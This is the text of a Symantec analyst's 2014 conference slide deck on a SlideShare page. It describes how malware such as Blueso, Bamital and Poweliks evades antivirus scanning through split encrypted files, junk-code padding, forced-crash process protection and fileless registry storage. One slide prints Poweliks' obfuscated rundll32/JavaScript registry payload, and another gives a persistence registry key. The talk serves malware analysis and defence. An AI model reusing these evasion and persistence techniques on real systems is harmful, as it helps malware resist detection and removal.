SlideShare uma empresa Scribd logo
1 de 32
Baixar para ler offline
How	
  malware	
  avoid	
  An/	
  Virus	
  scanning	
  
Hiroshi	
  Shinotsuka	
  
Threat	
  Analysis	
  Engineer
Self-­‐introduc/on	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
2	
  
•  Threat	
  analysis	
  engineer	
  in	
  Symantec.	
  
•  Analyze	
  suspicious	
  file	
  and	
  create	
  An;-­‐Virus	
  signature	
  
•  Provide	
  detailed	
  technical	
  descrip;on	
  to	
  customers	
  on	
  
demand	
  
•  Publically	
  provide	
  malware-­‐related	
  informa;on	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
3	
  
24	
  hours	
  x	
  365	
  days	
  
ABacker’s	
  techniques	
  to	
  avoid	
  detec/ng	
  
1	
  
Store	
  decryp;on	
  key	
  and	
  data	
  in	
  
separate	
  files	
  
2	
   Large	
  amount	
  of	
  	
  junk	
  code	
  
3	
   Process	
  protec;on	
  
4	
  
Store	
  malicious	
  code	
  outside	
  of	
  files	
  
(fileless	
  malware)	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
4	
  
Trojan.Blueso	
  detec/on	
	
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
5	
  
0	
  
5,000	
  
10,000	
  
15,000	
  
20,000	
  
25,000	
  
30,000	
  
35,000	
  
Trojan.Blueso	
  
August	
  
September	
  
October	
  
November	
  
Trojan.Blueso	
  file	
  structure	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
6	
  
RAR	
  self-­‐extrac/ng	
  	
  file	
  13	
  MB	
  
AutoIt	
  	
  
executable	
  file	
  
Decryp;on	
  code	
  
script	
  file	
Decryp;on	
  key	
  
configura;on	
  file	
Encrypted	
  code	
AutoIt	
  is	
  a	
  programing	
  language	
  for	
  MicrosoW	
  Windows	
  plaYorm.	
  The	
  AutoIt	
  
syntax	
  is	
  very	
  similar	
  to	
  that	
  of	
  BASIC	
  programing	
  language	
  and	
  is	
  designed	
  to	
  
automate	
  the	
  Windows	
  GUI.	
RAR	
  self-­‐extrac;ng	
  file	
  drops	
  4	
  
files,	
  then	
  it	
  execute	
  AutoIt	
  
script	
  
Decrypted	
  
code	
  
Bluso	
  inject	
  Backdoor.Trojan	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
7	
  
Code	
  
Decryp;on	
  key	
  
Encrypted	
  code	
  
Legi;mate	
  
	
  Windows	
  Process	
  
Decryp;on	
  
Part	
  of	
  
Decrypted	
  
code	
  
Internet	
  Explorer	
  
Process	
  
Decry
pted	
  
code	
  
AutoIt	
  executable	
  
Watch	
  Dog	
  monitor	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
8	
  
File	
  deleted	
  
Process	
  deleted	
  
Create	
  Process	
  
Inject	
  
Create	
  File	
  
Trojan.Blueso	
  make	
  file/registry/process	
  again	
  
if	
  An;virus	
  delete	
  it.	
  
ABacker’s	
  techniques	
  to	
  avoid	
  detec/ng	
  
1	
  
Store	
  decryp;on	
  key	
  and	
  data	
  in	
  
separate	
  files	
  
2	
   Large	
  amount	
  of	
  	
  junk	
  code	
  
3	
   Process	
  protec;on	
  
4	
  
Store	
  malicious	
  code	
  outside	
  of	
  files	
  
(fileless	
  malware)	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
9	
  
Tradi/onal	
  sample	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
10	
  
Packer	
  /	
  Self	
  update	
  
•  Harder	
  to	
  detect	
  encrypted	
  files.	
  
•  Tradi;onal	
  sample	
  stored	
  all	
  informa;on	
  in	
  single	
  file.	
Code	
  
Decryp;on	
  key	
  
Encrypted	
  
code	
Code	
  
Decrypted	
  
malicious	
  code	
  
New	
  technique	
  to	
  avoid	
  detec/on	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
11	
  
Tradi;onally	
  malware	
  saved	
  decrypted	
  image	
  to	
  a	
  file	
  and	
  executed.	
  An;virus	
  
scanner	
  detects	
  malware	
  when	
  malware	
  saved	
  it	
  decrypted	
  image	
  onto	
  the	
  
disk.	
  
New	
  technique	
  is	
  to	
  inject	
  decrypted	
  image	
  to	
  a	
  new	
  running	
  process	
  and	
  
executes	
  in	
  order	
  to	
  avoid	
  detec;on	
  by	
  file	
  scan.	
  	
Decrypted	
  
malicious	
  code	
  
Legi;mate	
  
	
  Windows	
  Process	
  Decrypt	
  in	
  memory	
  
Decrypted	
  
malicious	
  code	
  Code	
  
Decryp;on	
  key	
  
Encrypted	
  code	
AutoIt	
  executable	
  
File	
  detail	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
12	
  
Code	
  
Decryp;on	
  key	
  
Encrypted	
  code
An;Virus	
  scanner	
  scans	
  each	
  file.	
  
Why	
  aBacker	
  split	
  malware	
  into	
  four	
  separate	
  files	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
13	
  
AutoIt	
  executable	
  
Decryp;on	
  code	
  
Decryp;on	
  key	
  
Seeng	
  file	
Encrypted	
  code	
Scan	
  
Scan	
  
Scan	
  
Scan	
  
What	
  does	
  this	
  mean?	
  
•  Hiding	
  malicious	
  code	
  by	
  encryp;ng	
  
•  Store	
  code,	
  decryp;on	
  key,	
  encrypted	
  code	
  in	
  separate	
  files.	
  
•  An;virus	
  scanner	
  can’t	
  determine	
  ‘encrypted	
  code’	
  as	
  malicious	
  
file.	
  
•  An;virus	
  scanner	
  can’t	
  detect	
  the	
  file	
  without	
  understanding	
  
rela;onships	
  between	
  mul;ple	
  files.	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
14	
  
ABacker’s	
  techniques	
  to	
  avoid	
  detec/ng	
  
1	
  
Store	
  decryp;on	
  key	
  and	
  data	
  in	
  
separate	
  files	
  
2	
   Large	
  amount	
  of	
  	
  junk	
  code	
  
3	
   Process	
  protec;on	
  
4	
  
Store	
  malicious	
  code	
  outside	
  of	
  files	
  
(fileless	
  malware)	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
15	
  
Code(Beginning	
  of	
  file)	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
16	
  
I	
  TAB	
  character	
  is	
  replaced	
  with	
  1	
  byte	
  string	
  
You	
  only	
  see	
  junk	
  comment	
  lines	
  !	
  
Code	
  (Sample	
  1)	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
17	
  
Code	
  (Sample	
  2)	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
18	
  
Code	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
19	
  
Finally,	
  at	
  line	
  23670,	
  16MB	
  in	
  size,	
  important	
  code	
  is	
  reached.	
  
87476	
  lines	
  of	
  AutoIt	
  script	
  codes.	
  
Only	
  900	
  lines	
  without	
  comment	
  lines.	
  
Only	
  1%	
  important	
  codes.
An/virus	
  scan	
  method	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
20	
  
•  An;virus	
  scanner	
  needs	
  to	
  have	
  balance	
  between	
  detec;on	
  and	
  
performance	
  
•  An;virus	
  scanner	
  first	
  determines	
  file	
  types	
  and	
  starts	
  file	
  scan	
  
based	
  on	
  the	
  detected	
  file	
  type.	
  
Executable	
  file	
ZIP	
  file	
JPEG	
  file
No	
  special	
  file	
  structure	
  in	
  text	
  file/script	
  file.	
	
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
21	
  
Script	
  files	
  have	
  no	
  file-­‐header,	
  which	
  means	
  the	
  files	
  have	
  no	
  special	
  
file	
  structure.	
  
An;virus	
  scanner	
  needs	
  to	
  run	
  a	
  par;al	
  scan	
  and	
  determine	
  what	
  the	
  
file	
  is.	
  
Very	
  difficult	
  to	
  keep	
  scan	
  performance	
  if	
  malicious	
  script	
  has	
  so	
  many	
  
comment/junk	
  code.
ABacker’s	
  techniques	
  to	
  avoid	
  detec/ng	
  
1	
  
Store	
  decryp;on	
  key	
  and	
  data	
  in	
  
separate	
  files	
  
2	
   Large	
  amount	
  of	
  	
  junk	
  code	
  
3	
   Process	
  protec;on	
  
4	
  
Store	
  malicious	
  code	
  outside	
  of	
  files	
  
(fileless	
  malware)	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
22	
  
How	
  does	
  Blueso	
  start	
  and	
  protect	
  itself?	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
23	
  
Code	
  
Decryp;on	
  key	
  
Encrypted	
  code	
Legi;mate	
  
	
  Windows	
  Process	
  
Decryp;on	
  
Internet	
  Explorer	
  
process	
  
Malware	
  !!	
	
Malware	
  ??	
	
What	
  is	
  wrong	
  ??	
AutoIt	
  
executable	
  
Process	
  protec/on	
  mechanism	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
24	
  
1)  Terminate	
  Internet	
  Explorer	
  
-­‐>	
  Malicious	
  code	
  injected	
  into	
  Legi;mate	
  Windows	
  Process	
  is	
  executed	
  again	
  
2)  Terminate	
  Legi;mate	
  Windows	
  Process	
  
-­‐>	
  Running	
  script	
  on	
  AutoIt	
  execute	
  again	
  
3)  Terminate	
  AutoIt	
  ?	
  
-­‐>	
  Handle	
  AutoIt	
  executable	
  as	
  an	
  essen;al	
  process	
  for	
  Windows	
  	
  system	
  by	
  using	
  
undocumented	
  API	
  NtSetInforma;onProcess	
  
As	
  soon	
  as	
  AutoIT	
  is	
  terminated,	
  Windows	
  determines	
  it	
  as	
  unrecoverable	
  cri;cal	
  
problem.	
  
-­‐>	
  Blue	
  Screen	
  Of	
  Death	
  !!	
  
Blue	
  Screen	
  Of	
  Death	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
25	
  
ABacker’s	
  techniques	
  to	
  avoid	
  detec/ng	
  
1	
  
Store	
  decryp;on	
  key	
  and	
  data	
  in	
  
separate	
  files	
  
2	
   Large	
  amount	
  of	
  	
  junk	
  code	
  
3	
   Process	
  protec;on	
  
4	
  
Store	
  malicious	
  code	
  outside	
  of	
  files	
  
(fileless	
  malware)	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
26	
  
Example	
  of	
  malware	
  store	
  code/data	
  in	
  irregular	
  
place(Bamital)	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
27	
  
Set	
  registry	
  entry	
  to	
  start	
  a	
  code	
  when	
  windows	
  restarts.	
  
HKEY_LOCAL_MACHINEsystemCurrentControlSetControlSession	
  Manager
AppCertDlls"AppSecDll"	
  =	
  
"%USER_Profile%Local	
  SeengsApplica;on	
  DataWindows	
  Serverxblscp.dll“	
  
Because	
  of	
  analysis	
  already	
  performed,	
  xblscp.dll	
  is	
  determined	
  as	
  a	
  malicious	
  file.	
  
Stricktly	
  speaking,	
  does	
  this	
  file	
  have	
  malicious	
  code	
  in	
  it?	
  
Example	
  of	
  malware	
  store	
  code/data	
  in	
  irregular	
  place	
  
(Bamital)2	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
28	
  
How	
  it	
  works	
  
•  Allocate	
  memory	
  
•  Store	
  data	
  from	
  registry	
  to	
  the	
  allocated	
  memory	
•  Call	
  the	
  allocated	
  memory	
An;virus	
  scanner	
  doe	
  not	
  know	
  data	
  rule.	
  The	
  data	
  is	
  wriven	
  in	
  
registry.	
  
Another	
  malware	
  uses	
  same	
  technique	
  by	
  file.
Example	
  of	
  malware	
  store	
  code/data	
  in	
  irregular	
  
place(Poweliks)	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
29	
  
Trojan.Poweliks	
  writes	
  a	
  Windows	
  Powershell	
  script	
  to	
  registry.	
You	
  can	
  find	
  this	
  registry	
  entry	
  may	
  execute	
  encrypted	
  java	
  script.	
  
Encrypted	
  code	
  that	
  should	
  be	
  decrypted	
  in	
  different	
  registry	
  entry.	
HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{73E709EA-­‐5D93-­‐4B2E-­‐
BBB0-­‐99B7938DA9E4}LocalServer32(Default)	
  =	
  
rundll32.exe	
  javascript:"..mshtml,RunHTMLApplica;on	
  ";eval("epdvnfou/xsjuf)
(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/
S~Se)(ILDS]]dmtje]]|84f81:.6e:4.5c3f.ccc1.::c8:49eb:f5~]]mpdbmYswfs43]]b(*,
(=0tdsjqu?(*".replace(/./g,func;on(_){return
%20String.fromCharCode(_.charCodeAt()-­‐1);}))	
  
"a"="#@~^k4QAAA==n{F+2i@#@&l{x APzmOk7+p6(L+1O`r ?1.rwDRUtnVsE*i@#@	
  
Conclusion	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
  
30	
  
•  Avackers	
  discover	
  new	
  techniques	
  every	
  day.	
  
•  Avackers	
  employ	
  techniques	
  to	
  make	
  malware	
  removal	
  difficult	
  
•  File	
  based	
  scanning	
  is	
  no	
  longer	
  effec;ve	
  
•  Mul;-­‐layered	
  security	
  is	
  becoming	
  more	
  important	
  
&	
  Q	
   A	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora;on	
   31	
  
Thank	
  you!	
  
Copyright	
  ©	
  2014	
  Symantec	
  Corpora/on.	
  All	
  rights	
  reserved.	
  Symantec	
  and	
  the	
  Symantec	
  Logo	
  are	
  trademarks	
  or	
  registered	
  trademarks	
  of	
  Symantec	
  Corpora;on	
  or	
  its	
  affiliates	
  
in	
  the	
  U.S.	
  and	
  other	
  countries.	
  	
  Other	
  names	
  may	
  be	
  trademarks	
  of	
  their	
  respec;ve	
  owners.	
  
This	
  document	
  is	
  provided	
  for	
  informa;onal	
  purposes	
  only	
  and	
  is	
  not	
  intended	
  as	
  adver;sing.	
  	
  All	
  warran;es	
  rela;ng	
  to	
  the	
  informa;on	
  in	
  this	
  document,	
  either	
  express	
  or	
  
implied,	
  are	
  disclaimed	
  to	
  the	
  maximum	
  extent	
  allowed	
  by	
  law.	
  	
  The	
  informa;on	
  in	
  this	
  document	
  is	
  subject	
  to	
  change	
  without	
  no;ce.	
  
Hiroshi	
  Shinotsuka	
  

Mais conteúdo relacionado

Mais procurados

Mais procurados (20)

HackInBo2k16 - Threat Intelligence and Malware Analysis
HackInBo2k16 - Threat Intelligence and Malware AnalysisHackInBo2k16 - Threat Intelligence and Malware Analysis
HackInBo2k16 - Threat Intelligence and Malware Analysis
 
.NET for hackers
.NET for hackers.NET for hackers
.NET for hackers
 
Ceh v5 module 15 hacking wireless networks
Ceh v5 module 15 hacking wireless networksCeh v5 module 15 hacking wireless networks
Ceh v5 module 15 hacking wireless networks
 
Ceh v8 labs module 07 viruses and worms
Ceh v8 labs module 07 viruses and wormsCeh v8 labs module 07 viruses and worms
Ceh v8 labs module 07 viruses and worms
 
Verification of Security for Untrusted Third Party IP Cores
Verification of  Security for Untrusted Third Party IP CoresVerification of  Security for Untrusted Third Party IP Cores
Verification of Security for Untrusted Third Party IP Cores
 
Ceh v8 labs module 10 denial of service
Ceh v8 labs module 10 denial of serviceCeh v8 labs module 10 denial of service
Ceh v8 labs module 10 denial of service
 
Snort Intrusion Detection / Prevention System on PFSense Firewall
Snort Intrusion Detection / Prevention System  on PFSense FirewallSnort Intrusion Detection / Prevention System  on PFSense Firewall
Snort Intrusion Detection / Prevention System on PFSense Firewall
 
Ceh v8 labs module 05 system hacking
Ceh v8 labs module 05 system hackingCeh v8 labs module 05 system hacking
Ceh v8 labs module 05 system hacking
 
Network security - Defense in Depth
Network security - Defense in DepthNetwork security - Defense in Depth
Network security - Defense in Depth
 
NTXISSACSC4 - Security for a New World
NTXISSACSC4 - Security for a New WorldNTXISSACSC4 - Security for a New World
NTXISSACSC4 - Security for a New World
 
Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...
Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...
Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...
 
Hacking and its Defence
Hacking and its DefenceHacking and its Defence
Hacking and its Defence
 
Ids & ips
Ids & ipsIds & ips
Ids & ips
 
Ceh v5 module 00 student introduction
Ceh v5 module 00  student introductionCeh v5 module 00  student introduction
Ceh v5 module 00 student introduction
 
Ceh v8 labs module 04 enumeration
Ceh v8 labs module 04 enumerationCeh v8 labs module 04 enumeration
Ceh v8 labs module 04 enumeration
 
DEVNET-1190 Targeted Threat (APT) Defense for Hosted Applications
DEVNET-1190	Targeted Threat (APT) Defense for Hosted ApplicationsDEVNET-1190	Targeted Threat (APT) Defense for Hosted Applications
DEVNET-1190 Targeted Threat (APT) Defense for Hosted Applications
 
Certified Ethical Hacker quick test prep cheat sheet
Certified Ethical Hacker quick test prep cheat sheetCertified Ethical Hacker quick test prep cheat sheet
Certified Ethical Hacker quick test prep cheat sheet
 
Confidentiality policies UNIT 2 (CSS)
Confidentiality policies UNIT 2 (CSS)Confidentiality policies UNIT 2 (CSS)
Confidentiality policies UNIT 2 (CSS)
 
CoinMiners are Evasive - BsidesTLV
CoinMiners are Evasive - BsidesTLVCoinMiners are Evasive - BsidesTLV
CoinMiners are Evasive - BsidesTLV
 
Security in network
Security in networkSecurity in network
Security in network
 

Semelhante a CODE BLUE 2014 : how to avoid the Detection by Malware by HIROSHI SNINOTSUKA

Reacting to Advanced, Unknown Attacks in Real-Time with Lastline
Reacting to Advanced, Unknown Attacks in Real-Time with LastlineReacting to Advanced, Unknown Attacks in Real-Time with Lastline
Reacting to Advanced, Unknown Attacks in Real-Time with Lastline
Lastline, Inc.
 
01_Metasploit - The Elixir of Network Security
01_Metasploit - The Elixir of Network Security01_Metasploit - The Elixir of Network Security
01_Metasploit - The Elixir of Network Security
Harish Chaudhary
 
Seminario-15-04-2015-IT_professions_in_the_anti-malware_industry
Seminario-15-04-2015-IT_professions_in_the_anti-malware_industrySeminario-15-04-2015-IT_professions_in_the_anti-malware_industry
Seminario-15-04-2015-IT_professions_in_the_anti-malware_industry
Roberto Sponchioni
 

Semelhante a CODE BLUE 2014 : how to avoid the Detection by Malware by HIROSHI SNINOTSUKA (20)

Issa jason dablow
Issa jason dablowIssa jason dablow
Issa jason dablow
 
A Profile of the Backoff PoS Malware that Hit 1000+ Retail Businesses
A Profile of the Backoff PoS Malware that Hit 1000+ Retail BusinessesA Profile of the Backoff PoS Malware that Hit 1000+ Retail Businesses
A Profile of the Backoff PoS Malware that Hit 1000+ Retail Businesses
 
Reacting to Advanced, Unknown Attacks in Real-Time with Lastline
Reacting to Advanced, Unknown Attacks in Real-Time with LastlineReacting to Advanced, Unknown Attacks in Real-Time with Lastline
Reacting to Advanced, Unknown Attacks in Real-Time with Lastline
 
Securing your Cloud Environment v2
Securing your Cloud Environment v2Securing your Cloud Environment v2
Securing your Cloud Environment v2
 
ransomware keylogger rootkit.pptx
ransomware keylogger rootkit.pptxransomware keylogger rootkit.pptx
ransomware keylogger rootkit.pptx
 
WannaCry: How to Protect Yourself
WannaCry: How to Protect YourselfWannaCry: How to Protect Yourself
WannaCry: How to Protect Yourself
 
Bypass_AV-EDR.pdf
Bypass_AV-EDR.pdfBypass_AV-EDR.pdf
Bypass_AV-EDR.pdf
 
Threat Landscape Lessons from IoTs and Honeynets
Threat Landscape Lessons from IoTs and Honeynets Threat Landscape Lessons from IoTs and Honeynets
Threat Landscape Lessons from IoTs and Honeynets
 
Applying formal methods to existing software by B.Monate
Applying formal methods to existing software by B.MonateApplying formal methods to existing software by B.Monate
Applying formal methods to existing software by B.Monate
 
Cyber security webinar 6 - How to build systems that resist attacks?
Cyber security webinar 6 - How to build systems that resist attacks?Cyber security webinar 6 - How to build systems that resist attacks?
Cyber security webinar 6 - How to build systems that resist attacks?
 
Securing your Cloud Environment
Securing your Cloud EnvironmentSecuring your Cloud Environment
Securing your Cloud Environment
 
D-Cipher
D-CipherD-Cipher
D-Cipher
 
Zero Day Malware Detection/Prevention Using Open Source Software
Zero Day Malware Detection/Prevention Using Open Source SoftwareZero Day Malware Detection/Prevention Using Open Source Software
Zero Day Malware Detection/Prevention Using Open Source Software
 
(Isc)² secure johannesburg
(Isc)² secure johannesburg (Isc)² secure johannesburg
(Isc)² secure johannesburg
 
01_Metasploit - The Elixir of Network Security
01_Metasploit - The Elixir of Network Security01_Metasploit - The Elixir of Network Security
01_Metasploit - The Elixir of Network Security
 
Ch07.ppt
Ch07.pptCh07.ppt
Ch07.ppt
 
Seminario-15-04-2015-IT_professions_in_the_anti-malware_industry
Seminario-15-04-2015-IT_professions_in_the_anti-malware_industrySeminario-15-04-2015-IT_professions_in_the_anti-malware_industry
Seminario-15-04-2015-IT_professions_in_the_anti-malware_industry
 
Paper sharing_Edge based intrusion detection for IOT devices
Paper sharing_Edge based intrusion detection for IOT devicesPaper sharing_Edge based intrusion detection for IOT devices
Paper sharing_Edge based intrusion detection for IOT devices
 
Understanding Keylogger
Understanding KeyloggerUnderstanding Keylogger
Understanding Keylogger
 
Threat Modeling for the Internet of Things
Threat Modeling for the Internet of ThingsThreat Modeling for the Internet of Things
Threat Modeling for the Internet of Things
 

Mais de CODE BLUE

[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
CODE BLUE
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
CODE BLUE
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
CODE BLUE
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
CODE BLUE
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
CODE BLUE
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
CODE BLUE
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
CODE BLUE
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
CODE BLUE
 

Mais de CODE BLUE (20)

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
